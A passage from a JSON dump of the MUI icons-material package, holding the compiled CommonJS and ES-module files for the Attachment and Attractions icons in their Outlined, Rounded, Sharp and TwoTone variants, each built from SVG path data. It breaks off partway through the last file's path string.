    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 12.5C2 9.46 4.46 7 7.5 7H18c2.21 0 4 1.79 4 4s-1.79 4-4 4H9.5C8.12 15 7 13.88 7 12.5S8.12 10 9.5 10H17v2H9.41c-.55 0-.55 1 0 1H18c1.1 0 2-.9 2-2s-.9-2-2-2H7.5C5.57 9 4 10.57 4 12.5S5.57 16 7.5 16H17v2H7.5C4.46 18 2 15.54 2 12.5\"\n}), 'Attachment');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachmentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 16H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h12.5c1.38 0 2.5 1.12 2.5 2.5S20.88 13 19.5 13H9c-.55 0-1-.45-1-1s.45-1 1-1h9.5V9.5H9c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h10.5c2.21 0 4-1.79 4-4s-1.79-4-4-4H7c-3.04 0-5.5 2.46-5.5 5.5s2.46 5.5 5.5 5.5h11.5z\"\n}), 'AttachmentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachmentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 16H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h12.5c1.38 0 2.5 1.12 2.5 2.5S20.88 13 19.5 13H9c-.55 0-1-.45-1-1s.45-1 1-1h9.5V9.5H9c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h10.5c2.21 0 4-1.79 4-4s-1.79-4-4-4H7c-3.04 0-5.5 2.46-5.5 5.5s2.46 5.5 5.5 5.5h11.5z\"\n}), 'AttachmentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachmentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.75 16H7.17c-2.09 0-3.95-1.53-4.15-3.61C2.79 10.01 4.66 8 7 8h12.36c1.31 0 2.5.94 2.63 2.24.15 1.5-1.02 2.76-2.49 2.76H9c-.55 0-1-.45-1-1s.45-1 1-1h8.75c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H9.14c-1.31 0-2.5.94-2.63 2.24-.15 1.5 1.02 2.76 2.49 2.76h10.33c2.09 0 3.95-1.53 4.15-3.61.23-2.39-1.64-4.39-3.98-4.39H7.23c-2.87 0-5.44 2.1-5.71 4.96-.3 3.29 2.26 6.04 5.48 6.04h10.75c.41 0 .75-.34.75-.75s-.34-.75-.75-.75\"\n}), 'AttachmentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachmentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.75 16H7.17c-2.09 0-3.95-1.53-4.15-3.61C2.79 10.01 4.66 8 7 8h12.36c1.31 0 2.5.94 2.63 2.24.15 1.5-1.02 2.76-2.49 2.76H9c-.55 0-1-.45-1-1s.45-1 1-1h8.75c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H9.14c-1.31 0-2.5.94-2.63 2.24-.15 1.5 1.02 2.76 2.49 2.76h10.33c2.09 0 3.95-1.53 4.15-3.61.23-2.39-1.64-4.39-3.98-4.39H7.23c-2.87 0-5.44 2.1-5.71 4.96-.3 3.29 2.26 6.04 5.48 6.04h10.75c.41 0 .75-.34.75-.75s-.34-.75-.75-.75\"\n}), 'AttachmentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachmentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 16H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h12.5c1.38 0 2.5 1.12 2.5 2.5S20.88 13 19.5 13H9c-.55 0-1-.45-1-1s.45-1 1-1h9.5V9.5H9c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h10.5c2.21 0 4-1.79 4-4s-1.79-4-4-4H7c-3.04 0-5.5 2.46-5.5 5.5s2.46 5.5 5.5 5.5h11.5z\"\n}), 'AttachmentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachmentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 16H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h12.5c1.38 0 2.5 1.12 2.5 2.5S20.88 13 19.5 13H9c-.55 0-1-.45-1-1s.45-1 1-1h9.5V9.5H9c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h10.5c2.21 0 4-1.79 4-4s-1.79-4-4-4H7c-3.04 0-5.5 2.46-5.5 5.5s2.46 5.5 5.5 5.5h11.5z\"\n}), 'AttachmentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachmentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 16H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h12.5c1.38 0 2.5 1.12 2.5 2.5S20.88 13 19.5 13H9c-.55 0-1-.45-1-1s.45-1 1-1h9.5V9.5H9c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h10.5c2.21 0 4-1.79 4-4s-1.79-4-4-4H7c-3.04 0-5.5 2.46-5.5 5.5s2.46 5.5 5.5 5.5h11.5z\"\n}), 'AttachmentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachmentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 16H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h12.5c1.38 0 2.5 1.12 2.5 2.5S20.88 13 19.5 13H9c-.55 0-1-.45-1-1s.45-1 1-1h9.5V9.5H9c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h10.5c2.21 0 4-1.79 4-4s-1.79-4-4-4H7c-3.04 0-5.5 2.46-5.5 5.5s2.46 5.5 5.5 5.5h11.5z\"\n}), 'AttachmentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Attractions.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.43 18.75c.37-.46.94-.75 1.57-.75s1.19.29 1.56.75c.39-.09.76-.21 1.12-.36l-1.42-3.18c-.39.15-.82.23-1.26.23-.46 0-.9-.09-1.3-.25l-1.43 3.19c.38.16.76.29 1.16.37M5.15 10c-.16.59-.25 1.21-.25 1.85 0 .75.12 1.47.33 2.15.63.05 1.22.4 1.56.99.33.57.35 1.23.11 1.79.27.27.56.53.87.76l1.52-3.39c-.47-.58-.75-1.32-.75-2.13 0-1.89 1.55-3.41 3.46-3.41s3.46 1.53 3.46 3.41c0 .82-.29 1.57-.78 2.16l1.5 3.35c.32-.24.62-.5.9-.79-.22-.55-.2-1.2.12-1.75.33-.57.9-.92 1.52-.99.22-.68.34-1.41.34-2.16 0-.64-.09-1.27-.25-1.86-.64-.04-1.26-.39-1.6-1-.36-.62-.35-1.36-.03-1.95-.91-.98-2.1-1.71-3.44-2.05C13.39 5.6 12.74 6 12 6s-1.39-.41-1.74-1.01c-1.34.34-2.53 1.05-3.44 2.03.33.6.35 1.35-.02 1.98-.35.62-.99.97-1.65 1m-1.3-.42c-.78-.6-1.02-1.7-.51-2.58s1.58-1.23 2.49-.85c1.11-1.17 2.56-2.03 4.18-2.42C10.15 2.75 10.99 2 12 2s1.85.75 1.98 1.73c1.63.39 3.07 1.24 4.18 2.42.91-.38 1.99-.03 2.49.85.51.88.27 1.98-.51 2.58.23.77.35 1.58.35 2.42s-.12 1.65-.35 2.42c.78.6 1.02 1.7.51 2.58s-1.58 1.23-2.49.85c-.4.43-.85.81-1.34 1.15l1.34 3H16.3l-.97-2.17c-.43.18-.88.33-1.34.44-.14.98-.98 1.73-1.99 1.73s-1.85-.75-1.98-1.73c-.48-.12-.94-.27-1.38-.46L7.66 22H5.78l1.36-3.03a8.7 8.7 0 0 1-1.3-1.12c-.92.38-1.99.03-2.5-.85s-.27-1.98.51-2.58c-.23-.77-.35-1.58-.35-2.42s.12-1.65.35-2.42\"\n}), 'Attractions');"
  },
  {
    "path": "packages/mui-icons-material/lib/Attractions.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.43 18.75c.37-.46.94-.75 1.57-.75s1.19.29 1.56.75c.39-.09.76-.21 1.12-.36l-1.42-3.18c-.39.15-.82.23-1.26.23-.46 0-.9-.09-1.3-.25l-1.43 3.19c.38.16.76.29 1.16.37M5.15 10c-.16.59-.25 1.21-.25 1.85 0 .75.12 1.47.33 2.15.63.05 1.22.4 1.56.99.33.57.35 1.23.11 1.79.27.27.56.53.87.76l1.52-3.39c-.47-.58-.75-1.32-.75-2.13 0-1.89 1.55-3.41 3.46-3.41s3.46 1.53 3.46 3.41c0 .82-.29 1.57-.78 2.16l1.5 3.35c.32-.24.62-.5.9-.79-.22-.55-.2-1.2.12-1.75.33-.57.9-.92 1.52-.99.22-.68.34-1.41.34-2.16 0-.64-.09-1.27-.25-1.86-.64-.04-1.26-.39-1.6-1-.36-.62-.35-1.36-.03-1.95-.91-.98-2.1-1.71-3.44-2.05C13.39 5.6 12.74 6 12 6s-1.39-.41-1.74-1.01c-1.34.34-2.53 1.05-3.44 2.03.33.6.35 1.35-.02 1.98-.35.62-.99.97-1.65 1m-1.3-.42c-.78-.6-1.02-1.7-.51-2.58s1.58-1.23 2.49-.85c1.11-1.17 2.56-2.03 4.18-2.42C10.15 2.75 10.99 2 12 2s1.85.75 1.98 1.73c1.63.39 3.07 1.24 4.18 2.42.91-.38 1.99-.03 2.49.85.51.88.27 1.98-.51 2.58.23.77.35 1.58.35 2.42s-.12 1.65-.35 2.42c.78.6 1.02 1.7.51 2.58s-1.58 1.23-2.49.85c-.4.43-.85.81-1.34 1.15l1.34 3H16.3l-.97-2.17c-.43.18-.88.33-1.34.44-.14.98-.98 1.73-1.99 1.73s-1.85-.75-1.98-1.73c-.48-.12-.94-.27-1.38-.46L7.66 22H5.78l1.36-3.03a8.7 8.7 0 0 1-1.3-1.12c-.92.38-1.99.03-2.5-.85s-.27-1.98.51-2.58c-.23-.77-.35-1.58-.35-2.42s.12-1.65.35-2.42\"\n}), 'Attractions');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttractionsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.15 14.42c.23-.77.35-1.58.35-2.42s-.12-1.65-.35-2.42c.78-.6 1.02-1.7.51-2.58s-1.58-1.23-2.49-.85c-1.11-1.17-2.56-2.03-4.18-2.42C13.85 2.75 13.01 2 12 2s-1.85.75-1.98 1.73c-1.63.39-3.07 1.25-4.19 2.42-.91-.38-1.98-.03-2.49.85s-.27 1.98.51 2.58c-.23.77-.35 1.58-.35 2.42s.12 1.65.35 2.42c-.78.6-1.02 1.7-.51 2.58s1.58 1.23 2.49.85c.4.42.83.79 1.3 1.12L5.78 22h1.88l.98-2.19c.44.19.9.34 1.38.46.13.98.97 1.73 1.98 1.73s1.85-.75 1.98-1.73c.46-.11.91-.26 1.34-.44L16.3 22h1.88l-1.34-3c.48-.34.93-.72 1.34-1.15.91.38 1.99.03 2.49-.85s.26-1.98-.52-2.58m-6.59 4.33c-.37-.46-.93-.75-1.56-.75s-1.2.29-1.57.75c-.4-.09-.79-.21-1.16-.37l1.43-3.19c.4.16.84.25 1.3.25.44 0 .87-.08 1.26-.23l1.42 3.18c-.36.15-.73.27-1.12.36m-3.08-6.73c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5m8.23 1.99c-.61.07-1.18.41-1.52.99-.32.56-.34 1.2-.12 1.75-.28.29-.58.55-.9.79l-1.5-3.35c.49-.59.78-1.34.78-2.16 0-1.89-1.55-3.41-3.46-3.41s-3.46 1.53-3.46 3.41c0 .8.28 1.54.75 2.13l-1.52 3.39c-.31-.23-.6-.48-.87-.76.26-.56.24-1.22-.09-1.79-.34-.59-.93-.94-1.56-.99-.22-.68-.33-1.4-.33-2.15 0-.64.09-1.26.25-1.85.66-.03 1.3-.38 1.65-1 .37-.63.35-1.38.01-1.98.92-.98 2.11-1.69 3.45-2.03.34.59.99 1 1.73 1s1.39-.4 1.73-1c1.34.34 2.53 1.07 3.44 2.05-.32.59-.33 1.33.03 1.95.35.6.96.95 1.6 1 .16.59.25 1.21.25 1.86 0 .75-.12 1.47-.34 2.15\"\n}), 'AttractionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttractionsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.15 14.42c.23-.77.35-1.58.35-2.42s-.12-1.65-.35-2.42c.78-.6 1.02-1.7.51-2.58s-1.58-1.23-2.49-.85c-1.11-1.17-2.56-2.03-4.18-2.42C13.85 2.75 13.01 2 12 2s-1.85.75-1.98 1.73c-1.63.39-3.07 1.25-4.19 2.42-.91-.38-1.98-.03-2.49.85s-.27 1.98.51 2.58c-.23.77-.35 1.58-.35 2.42s.12 1.65.35 2.42c-.78.6-1.02 1.7-.51 2.58s1.58 1.23 2.49.85c.4.42.83.79 1.3 1.12L5.78 22h1.88l.98-2.19c.44.19.9.34 1.38.46.13.98.97 1.73 1.98 1.73s1.85-.75 1.98-1.73c.46-.11.91-.26 1.34-.44L16.3 22h1.88l-1.34-3c.48-.34.93-.72 1.34-1.15.91.38 1.99.03 2.49-.85s.26-1.98-.52-2.58m-6.59 4.33c-.37-.46-.93-.75-1.56-.75s-1.2.29-1.57.75c-.4-.09-.79-.21-1.16-.37l1.43-3.19c.4.16.84.25 1.3.25.44 0 .87-.08 1.26-.23l1.42 3.18c-.36.15-.73.27-1.12.36m-3.08-6.73c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5m8.23 1.99c-.61.07-1.18.41-1.52.99-.32.56-.34 1.2-.12 1.75-.28.29-.58.55-.9.79l-1.5-3.35c.49-.59.78-1.34.78-2.16 0-1.89-1.55-3.41-3.46-3.41s-3.46 1.53-3.46 3.41c0 .8.28 1.54.75 2.13l-1.52 3.39c-.31-.23-.6-.48-.87-.76.26-.56.24-1.22-.09-1.79-.34-.59-.93-.94-1.56-.99-.22-.68-.33-1.4-.33-2.15 0-.64.09-1.26.25-1.85.66-.03 1.3-.38 1.65-1 .37-.63.35-1.38.01-1.98.92-.98 2.11-1.69 3.45-2.03.34.59.99 1 1.73 1s1.39-.4 1.73-1c1.34.34 2.53 1.07 3.44 2.05-.32.59-.33 1.33.03 1.95.35.6.96.95 1.6 1 .16.59.25 1.21.25 1.86 0 .75-.12 1.47-.34 2.15\"\n}), 'AttractionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttractionsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.44 18.75c.37-.46.94-.75 1.57-.75s1.19.29 1.56.75c.39-.09.76-.21 1.12-.36l-1.42-3.18c-.39.15-.82.23-1.26.23-.46 0-.9-.09-1.3-.25l-1.43 3.19c.37.16.75.29 1.16.37M5.16 10c-.16.59-.25 1.21-.25 1.85 0 .75.12 1.47.33 2.15.63.05 1.22.4 1.56.99.33.57.35 1.23.11 1.79.27.27.56.53.87.76l1.52-3.39c-.47-.58-.75-1.32-.75-2.13 0-1.89 1.55-3.41 3.46-3.41s3.46 1.53 3.46 3.41c0 .82-.29 1.57-.78 2.16l1.5 3.35c.32-.24.62-.5.9-.79-.22-.55-.2-1.2.12-1.75.33-.57.9-.92 1.52-.99.22-.68.34-1.41.34-2.16 0-.64-.09-1.27-.25-1.86-.64-.04-1.26-.39-1.6-1-.36-.62-.35-1.36-.03-1.95-.91-.98-2.1-1.71-3.44-2.05C13.4 5.6 12.74 6 12.01 6s-1.39-.41-1.74-1.01c-1.34.34-2.53 1.05-3.44 2.03.33.6.35 1.35-.02 1.98-.36.62-.99.97-1.65 1m-1.3-.42c-.78-.6-1.02-1.7-.51-2.58s1.58-1.23 2.49-.85c1.11-1.17 2.56-2.03 4.18-2.42.13-.98.97-1.73 1.99-1.73s1.85.75 1.98 1.73c1.63.39 3.07 1.24 4.18 2.42.91-.38 1.99-.03 2.49.85.51.88.27 1.98-.51 2.58.23.77.35 1.58.35 2.42s-.12 1.65-.35 2.42c.78.6 1.02 1.7.51 2.58s-1.58 1.23-2.49.85c-.4.43-.85.81-1.34 1.15l.81 1.8c.25.56-.16 1.2-.78 1.2-.33 0-.64-.2-.78-.5l-.75-1.67c-.43.18-.88.33-1.34.44-.13.98-.97 1.73-1.98 1.73s-1.85-.75-1.98-1.73c-.48-.12-.94-.27-1.38-.46l-.76 1.69c-.14.3-.44.5-.78.5H7.1c-.62 0-1.03-.64-.77-1.2l.82-1.83a8.7 8.7 0 0 1-1.3-1.12c-.92.38-1.99.03-2.5-.85s-.27-1.98.51-2.58c-.24-.77-.35-1.58-.35-2.42s.11-1.65.35-2.42\"\n}), 'AttractionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttractionsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.44 18.75c.37-.46.94-.75 1.57-.75s1.19.29 1.56.75c.39-.09.76-.21 1.12-.36l-1.42-3.18c-.39.15-.82.23-1.26.23-.46 0-.9-.09-1.3-.25l-1.43 3.19c.37.16.75.29 1.16.37M5.16 10c-.16.59-.25 1.21-.25 1.85 0 .75.12 1.47.33 2.15.63.05 1.22.4 1.56.99.33.57.35 1.23.11 1.79.27.27.56.53.87.76l1.52-3.39c-.47-.58-.75-1.32-.75-2.13 0-1.89 1.55-3.41 3.46-3.41s3.46 1.53 3.46 3.41c0 .82-.29 1.57-.78 2.16l1.5 3.35c.32-.24.62-.5.9-.79-.22-.55-.2-1.2.12-1.75.33-.57.9-.92 1.52-.99.22-.68.34-1.41.34-2.16 0-.64-.09-1.27-.25-1.86-.64-.04-1.26-.39-1.6-1-.36-.62-.35-1.36-.03-1.95-.91-.98-2.1-1.71-3.44-2.05C13.4 5.6 12.74 6 12.01 6s-1.39-.41-1.74-1.01c-1.34.34-2.53 1.05-3.44 2.03.33.6.35 1.35-.02 1.98-.36.62-.99.97-1.65 1m-1.3-.42c-.78-.6-1.02-1.7-.51-2.58s1.58-1.23 2.49-.85c1.11-1.17 2.56-2.03 4.18-2.42.13-.98.97-1.73 1.99-1.73s1.85.75 1.98 1.73c1.63.39 3.07 1.24 4.18 2.42.91-.38 1.99-.03 2.49.85.51.88.27 1.98-.51 2.58.23.77.35 1.58.35 2.42s-.12 1.65-.35 2.42c.78.6 1.02 1.7.51 2.58s-1.58 1.23-2.49.85c-.4.43-.85.81-1.34 1.15l.81 1.8c.25.56-.16 1.2-.78 1.2-.33 0-.64-.2-.78-.5l-.75-1.67c-.43.18-.88.33-1.34.44-.13.98-.97 1.73-1.98 1.73s-1.85-.75-1.98-1.73c-.48-.12-.94-.27-1.38-.46l-.76 1.69c-.14.3-.44.5-.78.5H7.1c-.62 0-1.03-.64-.77-1.2l.82-1.83a8.7 8.7 0 0 1-1.3-1.12c-.92.38-1.99.03-2.5-.85s-.27-1.98.51-2.58c-.24-.77-.35-1.58-.35-2.42s.11-1.65.35-2.42\"\n}), 'AttractionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttractionsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.44 18.75c.37-.46.94-.75 1.57-.75s1.19.29 1.56.75c.39-.09.76-.21 1.12-.36l-1.42-3.18c-.39.15-.82.23-1.26.23-.46 0-.9-.09-1.3-.25l-1.43 3.19c.37.16.75.29 1.16.37M5.16 10c-.16.59-.25 1.21-.25 1.85 0 .75.12 1.47.33 2.15.63.05 1.22.4 1.56.99.33.57.35 1.23.11 1.79.27.27.56.53.87.76l1.52-3.39c-.47-.58-.75-1.32-.75-2.13 0-1.89 1.55-3.41 3.46-3.41s3.46 1.53 3.46 3.41c0 .82-.29 1.57-.78 2.16l1.5 3.35c.32-.24.62-.5.9-.79-.22-.55-.2-1.2.12-1.75.33-.57.9-.92 1.52-.99.22-.68.34-1.41.34-2.16 0-.64-.09-1.27-.25-1.86-.64-.04-1.26-.39-1.6-1-.36-.62-.35-1.36-.03-1.95-.91-.98-2.1-1.71-3.44-2.05C13.4 5.6 12.74 6 12.01 6s-1.39-.41-1.74-1.01c-1.34.34-2.53 1.05-3.44 2.03.33.6.35 1.35-.02 1.98-.36.62-.99.97-1.65 1m-1.3-.42c-.78-.6-1.02-1.7-.51-2.58s1.58-1.23 2.49-.85c1.11-1.17 2.56-2.03 4.18-2.42.13-.98.97-1.73 1.99-1.73s1.85.75 1.98 1.73c1.63.39 3.07 1.24 4.18 2.42.91-.38 1.99-.03 2.49.85.51.88.27 1.98-.51 2.58.23.77.35 1.58.35 2.42s-.12 1.65-.35 2.42c.78.6 1.02 1.7.51 2.58s-1.58 1.23-2.49.85c-.4.43-.85.81-1.34 1.15l1.34 3h-1.86l-.97-2.17c-.43.18-.88.33-1.34.44-.14.98-.98 1.73-1.99 1.73s-1.85-.75-1.98-1.73c-.48-.12-.94-.27-1.38-.46L7.66 22H5.79l1.36-3.03a8.7 8.7 0 0 1-1.3-1.12c-.92.38-1.99.03-2.5-.85s-.27-1.98.51-2.58c-.24-.77-.35-1.58-.35-2.42s.11-1.65.35-2.42\"\n}), 'AttractionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttractionsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.44 18.75c.37-.46.94-.75 1.57-.75s1.19.29 1.56.75c.39-.09.76-.21 1.12-.36l-1.42-3.18c-.39.15-.82.23-1.26.23-.46 0-.9-.09-1.3-.25l-1.43 3.19c.37.16.75.29 1.16.37M5.16 10c-.16.59-.25 1.21-.25 1.85 0 .75.12 1.47.33 2.15.63.05 1.22.4 1.56.99.33.57.35 1.23.11 1.79.27.27.56.53.87.76l1.52-3.39c-.47-.58-.75-1.32-.75-2.13 0-1.89 1.55-3.41 3.46-3.41s3.46 1.53 3.46 3.41c0 .82-.29 1.57-.78 2.16l1.5 3.35c.32-.24.62-.5.9-.79-.22-.55-.2-1.2.12-1.75.33-.57.9-.92 1.52-.99.22-.68.34-1.41.34-2.16 0-.64-.09-1.27-.25-1.86-.64-.04-1.26-.39-1.6-1-.36-.62-.35-1.36-.03-1.95-.91-.98-2.1-1.71-3.44-2.05C13.4 5.6 12.74 6 12.01 6s-1.39-.41-1.74-1.01c-1.34.34-2.53 1.05-3.44 2.03.33.6.35 1.35-.02 1.98-.36.62-.99.97-1.65 1m-1.3-.42c-.78-.6-1.02-1.7-.51-2.58s1.58-1.23 2.49-.85c1.11-1.17 2.56-2.03 4.18-2.42.13-.98.97-1.73 1.99-1.73s1.85.75 1.98 1.73c1.63.39 3.07 1.24 4.18 2.42.91-.38 1.99-.03 2.49.85.51.88.27 1.98-.51 2.58.23.77.35 1.58.35 2.42s-.12 1.65-.35 2.42c.78.6 1.02 1.7.51 2.58s-1.58 1.23-2.49.85c-.4.43-.85.81-1.34 1.15l1.34 3h-1.86l-.97-2.17c-.43.18-.88.33-1.34.44-.14.98-.98 1.73-1.99 1.73s-1.85-.75-1.98-1.73c-.48-.12-.94-.27-1.38-.46L7.66 22H5.79l1.36-3.03a8.7 8.7 0 0 1-1.3-1.12c-.92.38-1.99.03-2.5-.85s-.27-1.98.51-2.58c-.24-.77-.35-1.58-.35-2.42s.11-1.65.35-2.42\"\n}), 'AttractionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttractionsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11.98\",\n  cy: \"12.02\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.15 14.42c.23-.77.35-1.58.35-2.42s-.12-1.65-.35-2.42c.78-.6 1.02-1.7.51-2.58s-1.58-1.23-2.49-.85c-1.11-1.17-2.56-2.03-4.18-2.42C13.85 2.75 13.01 2 12 2s-1.85.75-1.98 1.73c-1.63.39-3.07 1.25-4.19 2.42-.91-.38-1.98-.03-2.49.85s-.27 1.98.51 2.58c-.23.77-.35 1.58-.35 2.42s.12 1.65.35 2.42c-.78.6-1.02 1.7-.51 2.58s1.58 1.23 2.49.85c.4.42.83.79 1.3 1.12L5.78 22h1.88l.98-2.19c.44.19.9.34 1.38.46.13.98.97 1.73 1.98 1.73s1.85-.75 1.98-1.73c.46-.11.91-.26 1.34-.44L16.3 